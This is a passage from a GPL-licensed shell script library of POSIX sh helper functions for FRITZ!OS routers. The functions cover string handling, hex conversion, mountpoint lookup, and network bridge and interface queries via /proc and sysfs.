sed -n -e 1p)" 31 | [ "${#___kvset}" -eq 0 ] && return 1 32 | ___value="$(expr "$___kvset" : "[ ]*$1=\(.*\)")" 33 | printf "%s\n" "$___value" 34 | ) 35 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_count_of.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # count_of - return the count of words in the specified list # 7 | # # 8 | # parameters: # 9 | # $1 - word list # 10 | # # 11 | # stdout: # 12 | # the number of (IFS-based) separate entries in $1 # 13 | # # 14 | # return code: # 15 | # always zero # 16 | # # 17 | ####################################################################################### 18 | # # 19 | # U: printf # 20 | # W: - # 21 | # F: - # 22 | # I: - # 23 | # K: strings # 24 | # # 25 | ####################################################################################### 26 | yf_count_of() 27 | ( 28 | set -- $* 29 | printf "%d" "$#" 30 | return 0 31 | ) 32 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_endianess.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=dash : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # endianess # 7 | # - detect the endianess of the system we're running on # 8 | # # 9 | # - this will use the ELF header of the running executable (via /proc/self/exe) to # 10 | # distinguish between LE and BE platforms # 11 | # # 12 | # parameters: # 13 | # none # 14 | # # 15 | # stdout: # 16 | # "B" for big endian system and "L" for little endian system # 17 | # # 18 | # return code: # 19 | # always 0 (no errors, default output of "B" in case of problems) # 20 | # # 21 | ####################################################################################### 22 | # # 23 | # U: dd printf # 24 | # W: - # 25 | # F: yf_base64 # 26 | # I: - # 27 | # K: convert endian # 28 | # # 29 | ####################################################################################### 30 | yf_endianess() 31 | ( 32 | [ $(dd if=/proc/self/exe bs=1 count=1 skip=5 2>/dev/null | yf_base64) = AQ== ] && printf "L" || printf "B" 33 | return 0 34 | ) 35 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_find_mountpoint.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # find_mountpoint - find the mountpoint for the filesystem containing the specified # 7 | # file or directory # 8 | # # 9 | # parameters: # 10 | # $1 - the target name to be used # 11 | # # 12 | # stdout: # 13 | # the directory, where the filesystem was mounted # 14 | # # 15 | # return code: # 16 | # always zero, at least the root filesystem will always be found # 17 | # # 18 | ####################################################################################### 19 | # # 20 | # U: realpath printf sed # 21 | # W: - # 22 | # F: - # 23 | # I: - # 24 | # K: filesystem # 25 | # # 26 | ####################################################################################### 27 | yf_find_mountpoint() 28 | ( 29 | [ -z "$1" ] && printf "/" && return 0 30 | target="$(realpath $1 2>/dev/null)" 31 | [ -z $target ] && target="$1" 32 | while [ ${#target} -gt 1 ]; do 33 | mp="$(sed -n -e "\|^[^ ]* $target [^ ]* [^ ]* [0-9] [0-9]|p" /proc/mounts)" 34 | if [ ${#mp} -gt 0 ]; then 35 | printf "$target" 36 | return 0 37 | fi 38 | target="${target%/*}" 39 | done 40 | printf "/" 41 | return 0 42 | ) 43 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_fritzos_partition_device_name.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # fritzos_partition_device_name # 7 | # - return the block device prefix used on the running FRITZ!OS to address kernel and # 8 | # filesystem partitions # 9 | # # 10 | # parameters: # 11 | # none # 12 | # # 13 | # stdout: # 14 | # the (complete) device name without number suffix # 15 | # # 16 | # return code: # 17 | # 0 - output is valid # 18 | # 1 - not a FRITZ!OS device # 19 | # # 20 | ####################################################################################### 21 | # # 22 | # U: printf # 23 | # W: - # 24 | # F: yf_is_fritzos_device # 25 | # I: - # 26 | # K: fritzbox # 27 | # # 28 | ####################################################################################### 29 | yf_fritzos_partition_device_name() 30 | ( 31 | yf_is_fritzos_device || return 1 32 | printf "%s" $YF_FOS_PARTITION_DEVICE 33 | return 0 34 | ) 35 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_from_right.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # from_right - left trim the specified string to the specified length # 7 | # # 8 | # parameters: # 9 | # $1 - input string # 10 | # $2 - remaining characters in string after cutting from left # 11 | # # 12 | # stdout: # 13 | # output string # 14 | # # 15 | # return code: # 16 | # 0 - no error # 17 | # 1 - invalid parameter (missing or non-numeric length) # 18 | # # 19 | ####################################################################################### 20 | # # 21 | # U: printf # 22 | # W: - # 23 | # F: yf_is_decimal yf_substring # 24 | # I: - # 25 | # K: strings # 26 | # # 27 | ####################################################################################### 28 | yf_from_right() 29 | ( 30 | in="$1" 31 | len="$2" 32 | yf_is_decimal $len || return 1 33 | [ $len -gt 0 ] || return 1 34 | start=$(( ${#in} - $len )) 35 | [ $start -lt 0 ] && return 1 36 | yf_substring "$in" $start $len 37 | return 0 38 | ) 39 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_get_bridge.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # get_bridge - retrieve the bridge interface name for the specified interface, if any # 7 | # # 8 | # parameters: # 9 | # $1 - interface to be checked # 10 | # # 11 | # stdout: # 12 | # the name of the bridge, where the specified interface is a member # 13 | # # 14 | # return code: # 15 | # 0 - the interface is a brigde member, stdout is valid # 16 | # 1 - the interface isn't a bridge member # 17 | # # 18 | ####################################################################################### 19 | # # 20 | # U: printf readlink sed # 21 | # W: - # 22 | # F: yf_sysfs # 23 | # I: - # 24 | # K: network # 25 | # # 26 | ####################################################################################### 27 | yf_get_bridge() 28 | ( 29 | sysfs="$(yf_sysfs || printf "/sys")" 30 | [ -d $sysfs/class/net/$1/brport ] || return 1 31 | readlink $sysfs/class/net/$1/brport/bridge | sed -e "s|.*/\(.*\)\$|\1|" 32 | return 0 33 | ) 34 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_get_bridge_members.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # get_bridge_members - retrieve the bridge member names for the specified interface # 7 | # # 8 | # parameters: # 9 | # $1 - interface to be checked # 10 | # # 11 | # stdout: # 12 | # a (possibly empty) list of interface names assembled in the bridge # 13 | # # 14 | # return code: # 15 | # 0 - the interface is a bridge, stdout is valid # 16 | # 1 - the interface isn't a bridge # 17 | # # 18 | ####################################################################################### 19 | # # 20 | # U: find sed # 21 | # W: - # 22 | # F: yf_sysfs # 23 | # I: - # 24 | # K: network # 25 | # # 26 | ####################################################################################### 27 | yf_get_bridge_members() 28 | ( 29 | sysfs="$(yf_sysfs || printf "/sys")" 30 | [ -d $sysfs/class/net/$1/brif ] || return 1 31 | find $sysfs/class/net/$1/brif -maxdepth 1 -type l -print \ 32 | | sed -e "s|^$sysfs/class/net/$1/brif/\(.*\)\$|\1|" \ 33 | | sed -e ':x;$!N;s/\n/ /;tx' 34 | return 0 35 | ) 36 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_get_default_gateway_interface.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # get_default_gateway_interface - retrieve the interface name for the default route # 7 | # # 8 | # parameters: # 9 | # none # 10 | # # 11 | # stdout: # 12 | # interface name for the device with the default route (0.0.0.0/0.0.0.0) # 13 | # # 14 | # return code: # 15 | # 0 - stdout is valid # 16 | # 1 - no default gateway found at /proc/net/route # 17 | # # 18 | # remarks: # 19 | # Any policy based routing is silently ignored - usually it's not used on a # 20 | # FRITZ!Box device. # 21 | # # 22 | ####################################################################################### 23 | # # 24 | # U: sed printf # 25 | # W: - # 26 | # F: - # 27 | # I: - # 28 | # K: network # 29 | # # 30 | ####################################################################################### 31 | yf_get_default_gateway_interface() 32 | ( 33 | intf="$(sed -n -e "s|\([^\t]*\)\t*0\{8\}\t*[^\t]*\t*.*0\{8\}\t*.*\$|\1|p" /proc/net/route)" 34 | [ ${#intf} -eq 0 ] && return 1 35 | printf "$intf" 36 | return 0 37 | ) 38 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_get_fstype_for_mountpoint.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # get_fstype_for_mountpoint - retrieve the filesystem type for the specified # 7 | # mountpoint # 8 | # # 9 | # parameters: # 10 | # $1 - the mountpoint to be used # 11 | # # 12 | # stdout: # 13 | # the filesystem type from /proc/mounts # 14 | # # 15 | # return code: # 16 | # 0 - stdout is valid # 17 | # 1 - parameter error, e.g. the specified path isn't a mountpoint # 18 | # # 19 | ####################################################################################### 20 | # # 21 | # U: realpath sed printf # 22 | # W: - # 23 | # F: - # 24 | # I: - # 25 | # K: filesystem # 26 | # # 27 | ####################################################################################### 28 | yf_get_fstype_for_mountpoint() 29 | ( 30 | mp="$(realpath $1 2>/dev/null)" 31 | [ -z $mp ] && return 1 32 | fstype="$(sed -n -e "s|^[^ ]* $mp \([^ ]*\) [^ ]* [0-9] [0-9]|\1|p" /proc/mounts)" 33 | if [ ${#fstype} -gt 0 ]; then 34 | printf "$fstype" 35 | return 0 36 | fi 37 | return 1 38 | ) 39 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_get_ip_address.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # get_ip_address - retrieve the IPv4 addresses for the specified interface # 7 | # # 8 | # parameters: # 9 | # $1 - interface to be used # 10 | # # 11 | # stdout: # 12 | # a list of IPv4 addresses available at the interface # 13 | # # 14 | # return code: # 15 | # 0 - stdout is valid and contains at least one entry # 16 | # 1 - the interface name is invalid or the interface has no IPv4 address assigned # 17 | # # 18 | # WARNING: # 19 | # This script needs a 'ip' binary, which isn't part of POSIX standards. # 20 | # # 21 | ####################################################################################### 22 | # # 23 | # U: ip sed printf # 24 | # W: - # 25 | # F: - # 26 | # I: - # 27 | # K: network # 28 | # # 29 | ####################################################################################### 30 | yf_get_ip_address() 31 | ( 32 | intf="$1" 33 | addrs="$(ip -o -f inet addr show dev $intf 2>/dev/null | sed -n -e "s|^[0-9]*: $intf.*inet \([0-9./]*\).*|\1|p")" 34 | [ ${#addrs} -eq 0 ] && return 1 35 | printf "$addrs" 36 | return 0 37 | ) 38 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_hex2dec.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # hex2dec - convert hexadecimal string to decimal value # 7 | # # 8 | # parameters: # 9 | # $1 - input value representing a hexadecimal string # 10 | # # 11 | # stdout: # 12 | # input value converted to decimal value # 13 | # # 14 | # return code: # 15 | # 0 - stdout content is valid # 16 | # 1 - error occured (e.g. input format is invalid) # 17 | # # 18 | ####################################################################################### 19 | # # 20 | # U: printf # 21 | # W: - # 22 | # F: yf_is_hexadecimal yf_substring # 23 | # I: - # 24 | # K: convert # 25 | # # 26 | ####################################################################################### 27 | yf_hex2dec() 28 | ( 29 | val="$1" 30 | out=0 31 | yf_is_hexadecimal "$val" || return 1 32 | [ $(( ${#val} % 2 )) -ne 0 ] && return 1 33 | while [ ${#val} -gt 0 ]; do 34 | byte=$(yf_substring "$val" 0 2) 35 | val="$(yf_substring "$val" 2)" 36 | out=$(( ( out * 256 ) + 0x$byte )) 37 | done 38 | printf "%u" "$out" 39 | return 0 40 | ) 41 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_index.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # index - return first position of a character in a string # 7 | # # 8 | # parameters: # 9 | # $1 - string to search for the character # 10 | # $2 - character to be found # 11 | # # 12 | # stdout: # 13 | # the position of the first occurence of $2 in $1 (like 'expr index' would do it) # 14 | # # 15 | # return code: # 16 | # 0 - stdout value is valid # 17 | # 1 - error occured, one or more parameters are invald # 18 | # # 19 | ####################################################################################### 20 | # # 21 | # U: printf # 22 | # W: - # 23 | # F: - # 24 | # I: - # 25 | # K: strings # 26 | # # 27 | ####################################################################################### 28 | yf_index() 29 | ( 30 | string="$1" 31 | char="$2" 32 | [ ${#string} -eq 0 ] && return 1 33 | [ ${#char} -ne 1 ] && return 1 34 | tv="${string%${char}*}" 35 | [ "$tv" = "$string" ] && l=0 || l=$(( ${#tv} + 1 )) 36 | printf "%d" $l 37 | return 0 38 | ) 39 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_index_of.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # index_of - return the index of the specified word in the specified list # 7 | # # 8 | # parameters: # 9 | # $1 - word to find # 10 | # $2 - word list # 11 | # # 12 | # stdout: # 13 | # the index of the word in the list # 14 | # # 15 | # return code: # 16 | # 0 - value found # 17 | # 1 - word not found in list # 18 | # # 19 | ####################################################################################### 20 | # # 21 | # U: printf # 22 | # W: - # 23 | # F: - # 24 | # I: - # 25 | # K: strings # 26 | # # 27 | ####################################################################################### 28 | yf_index_of() 29 | ( 30 | needle="$1" 31 | haystack="$2" 32 | i=0 33 | for word in $haystack; do 34 | i=$(( i + 1 )) 35 | [ $word = $needle ] && printf "%d" "$i" && return 0 36 | done 37 | return 1 38 | ) 39 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_is_bridge_interface.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # is_bridge_interface - check, if the specified interface name is for a bridge devive # 7 | # # 8 | # parameters: # 9 | # $1 - interface to be checked # 10 | # # 11 | # return code: # 12 | # 0 - the interface is a brigde device # 13 | # 1 - the interface isn't a bridge device # 14 | # # 15 | ####################################################################################### 16 | # # 17 | # U: printf # 18 | # W: - # 19 | # F: yf_sysfs # 20 | # I: - # 21 | # K: network # 22 | # # 23 | ####################################################################################### 24 | yf_is_bridge_interface() 25 | ( 26 | sysfs="$(yf_sysfs || printf "/sys")" 27 | [ -d $sysfs/class/net/$1/bridge ] && return 0 || return 1 28 | ) 29 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_is_bridge_member.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # is_bridge_member - check, if the specified interface is a bridge member without an # 7 | # own IP address # 8 | # # 9 | # parameters: # 10 | # $1 - interface to be checked # 11 | # # 12 | # return code: # 13 | # 0 - the interface is a brigde member # 14 | # 1 - the interface isn't a bridge member # 15 | # # 16 | ####################################################################################### 17 | # # 18 | # U: printf # 19 | # W: - # 20 | # F: yf_sysfs # 21 | # I: - # 22 | # K: network # 23 | # # 24 | ####################################################################################### 25 | yf_is_bridge_member() 26 | ( 27 | sysfs="$(yf_sysfs || printf "/sys")" 28 | [ -d $sysfs/class/net/$1/brport ] && return 0 || return 1 29 | ) 30 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_is_decimal.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # is_decimal - check, if input string contains only decimal digits # 7 | # # 8 | # parameters: # 9 | # $1 - input string # 10 | # # 11 | # return code: # 12 | # 0 - only digits found # 13 | # 1 - non-digit characters present # 14 | # # 15 | ####################################################################################### 16 | # # 17 | # U: printf sed # 18 | # W: - # 19 | # F: - # 20 | # I: - # 21 | # K: convert # 22 | # # 23 | ####################################################################################### 24 | yf_is_decimal() 25 | ( 26 | in="$(printf "$1" | sed -e 's|[0-9]||g')" 27 | [ ${#in} -gt 0 ] && return 1 28 | return 0 29 | ) 30 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_is_hexadecimal.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # is_hexadecimal - check, if input string contains only hexadecimal digits # 7 | # # 8 | # parameters: # 9 | # $1 - input string # 10 | # # 11 | # return code: # 12 | # 0 - only valid digits found # 13 | # 1 - non-digit characters present # 14 | # # 15 | ####################################################################################### 16 | # # 17 | # U: printf sed # 18 | # W: - # 19 | # F: - # 20 | # I: - # 21 | # K: convert # 22 | # # 23 | ####################################################################################### 24 | yf_is_hexadecimal() 25 | ( 26 | in="$(printf "$1" | sed -e 's|[0-9a-fA-F]||g')" 27 | [ ${#in} -gt 0 ] && return 1 28 | return 0 29 | ) 30 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_is_mountpoint_writable.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # is_mountpoint_writable - detect, if the specified mountpoint is backed by a # 7 | # writable filesystem # 8 | # # 9 | # parameters: # 10 | # $1 - the mountpoint to be used # 11 | # # 12 | # stdout: # 13 | # 0 - the filesystem isn't 'rw' in /proc/mounts # 14 | # 1 - the filesystem is marked as 'rw' in /proc/mounts # 15 | # # 16 | # return code: # 17 | # 0 - stdout is valid # 18 | # 1 - parameter error, e.g. the specified path isn't a mountpoint # 19 | # # 20 | ####################################################################################### 21 | # # 22 | # U: realpath sed printf # 23 | # W: - # 24 | # F: - # 25 | # I: - # 26 | # K: filesystem # 27 | # # 28 | ####################################################################################### 29 | yf_is_mountpoint_writable() 30 | ( 31 | mp="$(realpath $1 2>/dev/null)" 32 | [ -z $mp ] && return 1 33 | rw="$(sed -n -e "s|^[^ ]* $mp [^ ]* \(r[wo]\),[^ ]* [0-9] [0-9]|\1|p" /proc/mounts)" 34 | if [ ${#rw} -gt 0 ]; then 35 | [ "$rw" = "rw" ] && printf 1 || printf 0 36 | return 0 37 | fi 38 | return 1 39 | ) 40 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_is_wireless_interface.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # is_wireless_interface - check, if the specified interface is a wireless one # 7 | # # 8 | # parameters: # 9 | # $1 - interface to be checked # 10 | # # 11 | # return code: # 12 | # 0 - the interface is a wireless device # 13 | # 1 - the interface isn't a wireless device # 14 | # # 15 | ####################################################################################### 16 | # # 17 | # U: printf # 18 | # W: - # 19 | # F: yf_sysfs # 20 | # I: - # 21 | # K: network # 22 | # # 23 | ####################################################################################### 24 | yf_is_wireless_interface() 25 | ( 26 | sysfs="$(yf_sysfs || printf "/sys")" 27 | [ -d $sysfs/class/net/$1/wireless ] && return 0 || return 1 28 | ) 29 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_lowercase.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # lowercase - convert string to lowercase letters # 7 | # # 8 | # parameters: # 9 | # none # 10 | # # 11 | # stdin: # 12 | # input data to be translated ... only ASCII characters are handled correctly # 13 | # # 14 | # stdout: # 15 | # input data with each occurence of 'A' to 'Z' translated to 'a' to 'z' # 16 | # # 17 | # return code: # 18 | # 0 - stdout value is valid # 19 | # 1 - error occured, usally stdin isn't a valid stream or 'tr' finished with errors # 20 | # # 21 | ####################################################################################### 22 | # # 23 | # U: sed # 24 | # W: - # 25 | # F: - # 26 | # I: - # 27 | # K: strings # 28 | # # 29 | ####################################################################################### 30 | yf_lowercase() 31 | ( 32 | sed -e "y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz" 33 | return $? 34 | ) 35 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_network_interfaces.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # network_interfaces - get the name(s) of all network interfaces from sysfs # 7 | # # 8 | # parameters: # 9 | # none # 10 | # # 11 | # stdout: # 12 | # the names of network interfaces ('lo' will be filtered out) # 13 | # # 14 | # return code: # 15 | # alwasy 0 - the list will be empty in case of an error # 16 | # # 17 | ####################################################################################### 18 | # # 19 | # U: find sed # 20 | # W: - # 21 | # F: yf_sysfs # 22 | # I: - # 23 | # K: network # 24 | # # 25 | ####################################################################################### 26 | yf_network_interfaces() 27 | ( 28 | sysfs="$(yf_sysfs || printf "/sys")" 29 | find $sysfs/class/net/ -maxdepth 1 -type l -print 2>/dev/null \ 30 | | sed -e "s|^$sysfs/class/net/||" -e '/^$/d' -e '/^lo$/d' \ 31 | | sed -e ':x;$!N;s/\n/ /;tx' 32 | return 0 33 | ) 34 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_print_ip.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # print_ip - print an IPv4 address in dotted-decimal format # 7 | # # 8 | # parameters: # 9 | # $1 - string representing the IPv4 address in hexadecimal format (big endian) # 10 | # # 11 | # stdout: # 12 | # the decimal representation of the specified address as 4 decimal numbers # 13 | # separated by dots # 14 | # # 15 | # return code: # 16 | # 0 - stdout value is valid # 17 | # 1 - error occured, the specified parameter isn't a valid hexadecimal string # 18 | # # 19 | ####################################################################################### 20 | # # 21 | # U: printf # 22 | # W: - # 23 | # F: yf_substring yf_hex2dec # 24 | # I: - # 25 | # K: network strings # 26 | # # 27 | ####################################################################################### 28 | yf_print_ip() 29 | ( 30 | ip="$1" 31 | [ ${#ip} -ne 8 ] && return 1 32 | while [ ${#ip} -gt 0 ]; do 33 | byte=$(yf_substring "$ip" 0 2) 34 | printf "%u" $(yf_hex2dec $byte) 35 | ip="$(yf_substring "$ip" 2)" 36 | [ ${#ip} -gt 0 ] && printf "." 37 | done 38 | return 0 39 | ) 40 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_reverse_hex.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # reverse_hex - reverse a hexadecimal string byte-wise # 7 | # # 8 | # parameters: # 9 | # $1 - input string # 10 | # # 11 | # stdout: # 12 | # input string in reverse order, swapped in two-character slices # 13 | # # 14 | # return code: # 15 | # always 0 # 16 | # # 17 | ####################################################################################### 18 | # # 19 | # U: printf # 20 | # W: - # 21 | # F: yf_substring # 22 | # I: - # 23 | # K: strings # 24 | # # 25 | ####################################################################################### 26 | yf_reverse_hex() 27 | ( 28 | in="$1" 29 | out="" 30 | while [ ${#in} -gt 0 ]; do 31 | byte="$(yf_substring "$in" 0 2)" 32 | in="$(yf_substring "$in" 2)" 33 | out="${byte}${out}" 34 | done 35 | printf "$out" 36 | return 0 37 | ) 38 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_str2hex.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # str2hex - convert a string to its hexadecimal representation # 7 | # # 8 | # parameters: # 9 | # $1 - input string # 10 | # # 11 | # stdout: # 12 | # input string converted to its hexadecimal content (one character per nibble) # 13 | # # 14 | # return code: # 15 | # always 0 - no errors possible # 16 | # # 17 | ####################################################################################### 18 | # # 19 | # U: printf # 20 | # W: - # 21 | # F: yf_substring # 22 | # I: - # 23 | # K: convert # 24 | # # 25 | ####################################################################################### 26 | yf_str2hex() 27 | ( 28 | in="$1" 29 | while [ ${#in} -gt 0 ]; do 30 | byte="$(yf_substring "$in" 0 1)" 31 | in="$(yf_substring "$in" 1)" 32 | printf "%02x" \'$byte 33 | done 34 | return 0 35 | ) 36 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_substring.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # substring - extract substring # 7 | # # 8 | # parameters: # 9 | # $1 - original string # 10 | # $2 - start position of string to extract (zero based) # 11 | # $3 - optional length of string to extract # 12 | # # 13 | # stdout: # 14 | # the extracted string # 15 | # # 16 | # return code: # 17 | # 0 - stdout value is valid # 18 | # 1 - error occured, one or more parameters are invald # 19 | # # 20 | ####################################################################################### 21 | # # 22 | # U: expr # 23 | # W: - # 24 | # F: yf_is_decimal # 25 | # I: - # 26 | # K: strings # 27 | # # 28 | ####################################################################################### 29 | yf_substring() 30 | ( 31 | in="$1" 32 | start="$2" 33 | len="$3" 34 | [ ${#in} -eq 0 ] && return 1 35 | [ -z $start ] && return 1 36 | yf_is_decimal $start || return 1 37 | [ ${#in} -lt $start ] && return 0 38 | [ -n $len ] && ! yf_is_decimal $len && return 1 39 | [ -z $len ] || [ $len -gt $(( ${#in} - start )) ] && len=$(( ${#in} - start )) 40 | len="\{$len\}" 41 | [ $start -gt 0 ] && mask=".\{$start\}\(.$len\).*" || mask="\(.$len\).*" 42 | expr \( "$in" : "$mask" \) 43 | return 0 44 | ) 45 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_sysfs.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # sysfs - get sysfs mount point from /proc/mounts # 7 | # # 8 | # parameters: # 9 | # none # 10 | # # 11 | # stdout: # 12 | # the path, where the sysfs is mounted # 13 | # # 14 | # return code: # 15 | # 0 - stdout value is valid # 16 | # 1 - error occured, sysfs isn't mounted or procfs isn't available # 17 | # # 18 | ####################################################################################### 19 | # # 20 | # U: printf sed # 21 | # W: - # 22 | # F: - # 23 | # I: - # 24 | # K: network filesystem # 25 | # # 26 | ####################################################################################### 27 | yf_sysfs() 28 | ( 29 | mp="$(sed -n -e "s|^sysfs \([^ ]*\) .*|\1|p" /proc/mounts | sed -n -e "1p")" 30 | [ ${#mp} -eq 0 ] && return 1 31 | printf "$mp" 32 | return 0 33 | ) 34 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_trim.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # trim - remove leading and trailing characters from a given string on STDIN # 7 | # # 8 | # parameters: # 9 | # $1 - trim direction => -1 leading, 1 trailing, 0 both => default is 0 # 10 | # $2 - character(s) to remove, defaults to "space", "tab" and "return", specify # 11 | # more than one character in square brackets (as in a regular expression) # 12 | # # 13 | # stdout: # 14 | # the trimmed string # 15 | # # 16 | # return code: # 17 | # 0 - output valid # 18 | # 1 - invalid parameter specified # 19 | # # 20 | ####################################################################################### 21 | # # 22 | # U: sed # 23 | # W: - # 24 | # F: - # 25 | # I: - # 26 | # K: strings # 27 | # # 28 | ####################################################################################### 29 | yf_trim() 30 | ( 31 | dir=${1:-0} 32 | [ $dir -lt -1 ] || [ $dir -gt 1 ] && return 1 33 | char="${2:-[ 